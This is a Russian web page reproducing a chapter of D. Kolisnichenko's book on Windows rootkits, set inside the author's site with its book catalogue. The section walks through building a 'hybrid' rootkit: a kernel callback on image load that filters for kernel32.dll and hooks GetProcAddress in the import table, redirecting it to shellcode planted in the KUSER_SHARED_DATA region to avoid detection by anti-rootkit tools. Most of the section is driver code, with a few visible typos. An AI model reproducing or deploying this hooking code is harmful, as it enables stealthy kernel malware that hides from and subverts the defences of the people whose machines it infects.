Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

19.2. Реализация руткита

Итак, приступим к написанию гибридного руткита. Операционная система предоставляет нам очень полезную функцию - PsSetImageLoadNotifyRoutine. Данная функция позволяет установить функцию, которая будет вызываться каждый раз при загрузке той или иной программы или DLL. Таким образом, вы сможете получать уведомление о том, когда запускаются нужные вам процессы. Функции PsSetImageLoadNotifyRoutine нужно передать всего лишь один параметр - адрес функции

ntStatus = PsSetLoadImageNotifyRoutine(MyCallbackFunction);

Прототип этой функции выглядит так:

VOID MyCallbackFunction(IN PUNICODE_STRING, IN HANDLE, IN PIMAGE_INFO);

Первый параметр - это UNICODE-строка, содержащая имя модуля, загружаемого ядром. Второй параметр - это PID-процесса, в который нужно загрузить модуль. Третий параметр - это структура, заполненная необходимой руткиту информацией (например, адрес памяти загружаемого модуля).

typedef struct _IMAGE_INFO {

union {

      ULONG Properties;

      struct {

            ULONG ImageAddressingModule  : 8;

            ULONG SystemModeImage        : 1;

            ULONG ImageMappedToAllPids   : 1:

            ULONG Reserved               : 1;

            };

      };

PVOID ImageBase;

ULONG ImageSelector;

ULONG ImageSize;

ULONG ImageSectionNumber;

} IMAGE_INFO, *PIMAGE_INFO;

Функция MyCallbackFunction вызывается, когда образ (DLL или процесс) загружается в ядро или пользовательское пространство. Функция будет вызываться каждый раз при загрузке любого образа. Ясно, что нас интересуют не все образы, а только определенные, поэтому в функции вы можете отфильтровать те образы, которые вас интересуют. Фильтр можно установить по имени образа или по его PID (для процесса). В приведенном ниже примере установлен фильтр по имени модуля - kernel32.dll.

VOID MyCallbackFunction(IN PUNICODE_STRING ImageName,

IN HANDLE PID, IN PIMAGE_INFO ImageInfo);

{

 UNICODE_STRING targetDLL;

 RtlInitUnicodeString(&targetDLL, L"\\WINDOWS\\system32\\kernel32.dll");

 

 if(RtlCompareUnicodeString(ImageName, &targetDLL, TRUE) == 0)

         HookIAT (ImageInfo->ImageBase, PID);

}

Функция HookIAT просматривает PE-заголовок образа в памяти. Нужно отметить, что большинство исполнимых файлов Windows имеют формат PE (Portable Executable), а сам формат будет описан в приложении.

Большинство записей в PE-заголовке - это относительные виртуальные адреса (RVA, Relative Virtual Addresses). По сути это смещения от ImageBase - адреса, по которому реально загружен образ.

У PE-заголовка есть подсекции. Первым делом вам нужно найти RVA подсекции импорта - IMAGE_DIRECTORY_ENTRY_IMPORT. Сложив этот адрес с адресом модуля в памяти, мы получим указатель на первый дескриптор импорта образа IMAGE_IMPORT_DESCRIPTOR. У каждой DLL, импортируемой как модуль, есть собственная структура IMAGE_IMPORT_DESCRIPTOR., состоящая из указателя на два разных массива. Первый массив - это массив адресов каждой импортированной из DLL функции. "Добраться" до таблицы адресов можно с помощью члена FirstTrunk структуры IMAGE_IMPORT_DESCRIPTOR. Член OriginalFirstTrunk (этой же структуры) используется для поиска массива указателей на структуры IMAGE_IMPORT_BY_NAME, содержащие имена импортированных функций (кроме функций, импортированных по порядковому номеру)

Функция HookImports сканирует все модули: если найдена функция GetProcAddress (которая экспортируется библиотекой kernel32.dll), то она изменяет защиту памяти IAT-таблицы, используя методы, описанные в предыдущей части книги. Как только защита памяти снята, руткит может перезаписать адрес в IAT адресом ловушки.

При разработке пользовательских руткитов вы столкнетесь с небольшой проблемой - пользовательскому руткиту нужно постоянно распределять память в пределах удаленного процесса, например, чтобы записать параметры для LoadLibrary или новый код. Нет, это не сложно. Но подобные действия очень заметны и ваш руткит очень быстро будет обнаружен антируткитными средствами.

Гибридный руткит для этих целей использует регионы памяти, помните, как мы это делали на уровне ядра? Ведь наш руткит - это драйвер устройства и ему ничего не стоит это сделать. Наша задача - определить регион памяти ядра (мы можем записывать что угодно в этой регион), который будет отображен в адресном пространстве каждого процесса. Запомните следующие два виртуальных адреса:

Мы можем записывать только в регион ядра (0xFFDF0000). Чтобы "добраться" к процессу, руткит должен записать нужный ему код в регионе ядра, а потом представить адрес ядра в IAT как обычный пользовательский адрес.

Размер "общего" региона - 4 Кб, но поскольку само ядро использует часть этого региона, то нашему руткиту доступно 3 Кб, чего вполне достаточно для кода и переменных. Имя региона - KUSER_SHARED_DATA. Структура региона следующая:

typedef struct _KUSER_SHARED_DATA {

    volatile ULONG TickCountLow;

    ULONG TickCountMultiplier;

    volatile KSYSTEM_TIME InterruptTime;

    volatile KSYSTEM_TIME SystemTime;

    volatile KSYSTEM_TIME TimeZoneBias;

    USHORT ImageNumberLow;

    USHORT ImageNumberHigh;

    WCHAR NtSystemRoot[ 260 ];

    ULONG MaxStackTraceDepth;

    ULONG CryptoExponent;

    ULONG TimeZoneId;

    ULONG Reserved2[ 8 ];

    NT_PRODUCT_TYPE NtProductType;

    BOOLEAN ProductTypeIsValid;

    ULONG NtMajorVersion;

    ULONG NtMinorVersion;

    BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX];

    ULONG Reserved1;

    ULONG Reserved3;

    volatile ULONG TimeSlip;

    ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;

    LARGE_INTEGER SystemExpirationDate;

    ULONG SuiteMask;

    BOOLEAN KdDebuggerEnabled;

    volatile ULONG ActiveConsoleId;

    volatile ULONG DismountCount;

    ULONG ComPlusPackage;

    ULONG LastSystemRITEventTickCount;

    ULONG NumberOfPhysicalPages;

    BOOLEAN SafeBootMode;

    ULONG TraceLogging;

#if defined(i386)

    ULONGLONG   Fill0;         

    ULONGLONG   SystemCall[4];

#endif

} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA;

В качестве примера мы запишем в эту область (в программе она будет называться sharedK) восемь байтов:

unsigned char new_code[] = {

            0x90,                          // NOP

            0xb8, 0xff, 0x00, 0xff, 0x10,  // mov eax, 0xff00ff10

            0xff, 0xe0                     // jmp eax

};

 

Первый байт - это операция NOP (No Operation), после этого код записывает в EAX произвольный адрес (5 байтов), а потом - переходит (jmp) на этот адрес (2 байта). В процессе выполнения руткит найдет в IAT функцию, для которой нужно установить ловушку, он перезапишет этот адрес адресом исходной функции. Теперь рассмотрим функцию HookIAT нашего "гибридного" руткита:

NTSTATUS HookIAT(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc)

{

PIMAGE_DOS_HEADER dosHeader;

PIMAGE_NT_HEADERS pNTH;                  // указатель на NT Header

PIMAGE_IMPORT_DESCRIPTOR imd;            // дескриптор импорта

PIMAGE_IMPORT_BY_NAME p_ibn;

DWORD import_start;                      // RVA

PDWORD pd_IAT, pd_INTO;

int count, index;

char *dll_name = NULL;      

char *p_dll = "kernel32.dll";            // указатель на нужную нам DLL

char *p_func = "GetProcAddress";         // указатель на нужную нам функцию

PMDL  mdl;                               // регион памяти

PDWORD MappedImTable;

DWORD sharedU = 0x7ffe0800;              // регион пользователя

DWORD sharedK = 0xffdf0800;              // регион ядра

// Небольшой код, который мы запишем в sharedK

unsigned char new_code[] = {

            0x90,                          // NOP

            0xb8, 0xff, 0x00, 0xff, 0x10,  // mov eax, 0xff00ff10

            0xff, 0xe0                     // jmp eax

};

     

dosHeader = (PIMAGE_DOS_HEADER) image_addr;

pNTH = MakePtr(PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew );

// Сначала проверим, что поле e_lfanew содержит корректный указатель,

// а потом проверим PE-заголовок

if (pNTH->Signature!=IMAGE_NT_SIGNATURE)

return STATUS_INVALID_IMAGE_FORMAT;

import_start = pNTH->OptionalHeader.DataDirectory

[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (!import_start) return STATUS_INVALID_IMAGE_FORMAT;

imd = (PIMAGE_IMPORT_DESCRIPTOR) (import_start + (DWORD)dosHeader);

for (count = 0; imd[count].Characteristics != 0; count++)

{

dll_name = (char*) (imd[count].Name + (DWORD) dosHeader);

           

pd_IAT = (PDWORD)(((DWORD) dosHeader) +(DWORD)imd[count].FirstThunk);

pd_INTO = (PDWORD)(((DWORD) dosHeader)+(DWORD)imd[count].OriginalFirstThunk);

for (index = 0; pd_IAT[index] != 0; index++)

{

// Если функция импортирована по порядковому номеру ordinal the high

// будет установлен старший бит

if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)

{

p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader));

if ((_stricmp(dll_name, p_dll) == 0) && \

                  (strcmp(p_ibn->Name, p_func) == 0))

{

//DbgPrint("Imports from DLL: %s", dll_name);

//DbgPrint(" Name: %s Address: %x\n", p_ibn->Name, pd_IAT[index]);    

mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);

if(!mdl) return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(mdl);

// Изменяем флаги региона

mdl->MdlFlags = mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

MappedImTable = MmMapLockedPages(mdl, KernelMode);

                            

if (!is_hooked)

{

// Записываем новый код в область sharedK. Размер кода - 8 байтов

RtlCopyMemory((PVOID)sharedK, new_code, 8);

RtlCopyMemory((PVOID)(sharedK+2),(PVOID)&pd_IAT[index], 4);

is_hooked = TRUE; // ловушка уже установлена

}

// Смещение новой "функции" (того небольшого кода)

*MappedImTable = sharedU;

// Освобождаем MDL

MmUnmapLockedPages(MappedImTable, mdl);

IoFreeMdl(mdl);

} } } }

return STATUS_SUCCESS;

}

На главную

Мне нравится!

Сегодня: 18/01

Поздравлять сегодня некого

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

FreeBSD. От новичка к профессионалу. 2-е издFreeBSD. От новичка к профессионалу. 2-е изд
Материал ориентирован на последние версии операционных систем FreeBSD, РУС-BSD, OpenBSD. С позиции типичного пользователя BSD показано, как самостоятельно настроить и оптимизировать эту операционную систему. Особое внимание уделяется повседневным зад                                                   

Linux-сервер своими руками, изд. 1-4Linux-сервер своими руками, изд. 1-4
Все о настройке Linux-сервера на базе дистрибутивов Linux Mandriva и Fedora Core. В четвертом издании книга была немного дополнена и существенно обновлена. Книга давно устарела. Рекомендую "Серверное примерение" (издательство БХВ)                                                                       

150 проблем с Linux и их решение. Советы бывалого линуксоида150 проблем с Linux и их решение. Советы бывалого линуксоида
В данной книге рассмотрен широкий спектр проблем и задач, с которыми сталкиваются пользователи Linux и которые вызывают определенные сложности.                                                                                                                                                              

PHP

Профессиональное программирование на PHPПрофессиональное программирование на PHP
Книга рассчитана на программистов, уже освоивших азы программирования на PHP. Приводятся сведения об отладке, анализе и оптимизации кода                                                                                                                                                                     

Современный сайт на РНР и JavaScript (+CD)Современный сайт на РНР и JavaScript (+CD)
Эта книга о PHP и не только. С помощью PHP вы легко создадите сайт любого масштаба — от небольшой личной странички до сайта уровня предприятия со сложной панелью управления.                                                                                                                                

Самоучитель PHP 4/5Самоучитель PHP 4/5
Моя первая книга по PHP, на базе которой была написана книга Самоучитель PHP5 (НиТ). Давно распродана и не поддерживается                                                                                                                                                                                    

Интернет/CMS

Интернет: от Интернет: от "чайника" к пользователю, 2 изд. (+Видеокурс на CD)
Книга предназначена для начинающего пользователя, поможет ему самостоятельно освоить основы Интернета и начать уверенную работу.                                                                                                                                                                            

Самоучитель Joomla!Самоучитель Joomla!
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки построить свой сайт, так и на разработчиков, которые заинтересованы в создании собственных расширений и шаблонов для популярной системы управления контентом                                                   

Новейший самоучитель компьютера и ИнтернетНовейший самоучитель компьютера и Интернет
О такой книге долгие годы мечтали миллионы начинающих пользователей, которые осваивали технику самостоятельно или по непонятным, громоздким руководствам.                                                                                                                                                    

Компьютер/Windows

Microsoft Windows 8. Первое знакомствоMicrosoft Windows 8. Первое знакомство
Описаны основные нововведения в Windows 8. Рассмотрена установка системы как на физический компьютер, так и на виртуальный (VMware, VirtualBox).                                                                                                                                                            

Англо-русский словарь компьютерных терминов, изд. 1-3Англо-русский словарь компьютерных терминов, изд. 1-3
Словарь-справочник включает в себя все основные термины, встречающиеся при работе с компьютером, программами и компьютерной документацией.                                                                                                                                                                   

Компьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программКомпьютер На Флешке. Работающие Windows, Linux, офис и 150 самых полезных программ
В этой книге вы найдете уникальную полезную информацию о том, как установить на флешку Windows XP и Windows Vista...                                                                                                                                                                                         

Сети

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Безопасность

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Автомобили

150 ситуаций на дороге, которые должен уметь решать каждый водила150 ситуаций на дороге, которые должен уметь решать каждый водила
Опытный инструктор кратко и четко расскажет, что следует делать водителю в 150 самых различных ситуациях на дороге, которые могут опустошить ваш кошелек, испортить нервы или здоровье                                                                                                                       

Новичок за рулем. Советы психолога, юриста, инструктора.Новичок за рулем. Советы психолога, юриста, инструктора.
Книга первая. Рекомендуется всем начинающим водителям. Текст этой книги бесплатно доступен в моем блоге http://dkws.net                                                                                                                                                                                      

Особенности безопасной езды в разных условиях (город, бездорожье, гололед, горный серпантин).Особенности безопасной езды в разных условиях (город, бездорожье, гололед, горный серпантин).
Безопасная езда - это когда целы машина, пассажиры, водитель и деньги водителя                                                                                                                                                                                                                               

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Статьи

Rambler's Top100